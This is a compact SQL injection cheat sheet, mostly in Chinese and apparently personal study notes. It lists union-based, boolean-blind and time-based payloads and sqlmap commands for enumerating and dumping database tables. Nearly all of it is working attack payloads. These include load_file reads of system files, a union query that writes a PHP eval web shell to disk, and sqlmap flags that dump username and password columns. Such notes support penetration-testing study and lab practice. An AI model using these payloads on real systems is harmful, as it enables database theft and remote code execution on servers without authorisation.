Recovery
1 正常
1’ (1")报错(有注入)
1’ or '1'='1 正常(字符型注入)
1 or 1=1 正常(数值型注入)
1’ order by n (爆字段数)
*联合查询union左右两边查询的列数要一致
x’ union select user(),database() -- 正常(union联合查询,全可出)
x’ union select 1,table_name from information_schema.tables where table_schema = 'DATABASE' -- (爆表名)
x’ union select 1,column_name from information_schema.columns where table_name='TABLENAME' -- (爆列名)
x' union select 1,load_file('(eg.)C:\\Windows\\win.ini') -- (系统文件)
x' union select 'x','asad' into outfile 'xx' -- (出异常,爆路径)
x' union select "webshell","<?php eval($_GET['cmd']);?>" into outfile "PATH.FILENAME.php" -- (写入一句话木马)
Blind
Boolean(只有真和假两种状态)
一.正常操作,得到真和假两种状态.
二.真 AND 假 (若得到'假'则存在注入)
eg.
1 and 1=2 (数值型)
1' and '1'='2
1" and "1"="2 (字符型)
length(str) #获取字符串长度
eg.
length('test')=4
1' and length(database())>1 --
(True) (True or False if True Then True else False)
substr(expression,start,length)
= mid(expression,start,length)
#获取子字符串
ascii(string)
=ord(string)
#获取第一个字符的ascii数值,单字符的ascii范围是0-127
eg.
1' and ascii(substr(database(),1,1))>64 --
Time-based
if(expr1,expr2,expr3)#判断expr1,若真则返回expr2,假则返回expr3
sleep(N)#休眠N秒
eg.
1' and sleep(if(length(database())=4,5,0)) --
benchmark(count,expr) #重复计算count次expr
eg.
1' and benchmark(if(length(database())=4,5000000,0),md5('test'))
cast(expression as data_type)#数据类型转换(表达式 as 新数据类型)
eg.
cast(database() as char)
isnull(expr1,expr2)#若expr1为null则返回expr2,否则返回expr1
eg.
ord(mid(isnull(cast(database() as char),0x20),1,1))>64
sqlmap
sqlmap -u "url" --data(POST) "(eg.)id=1&Submit=Submit" -p "(eg.)id" --cookie "(find from Burp)"
#-v 1-6 (show detail)[6 for most detail]
--current-user
--current-db
-D DATABASE --tables
-D DATABASE -T TABLENAME --column
-D DATABASE -T TABLENAME -C "(eg.)USERNAME,PASSWORD" --dump
Second page
sqlmap -u "url (in which you input)" --second-url "url (on which you see the result)" -- data(POST) "(eg.)id=1&Submit=Submit" -p "(eg.)id" --cookie "(find from Burp)"
When parameter in cookie
--level 2#para>=2
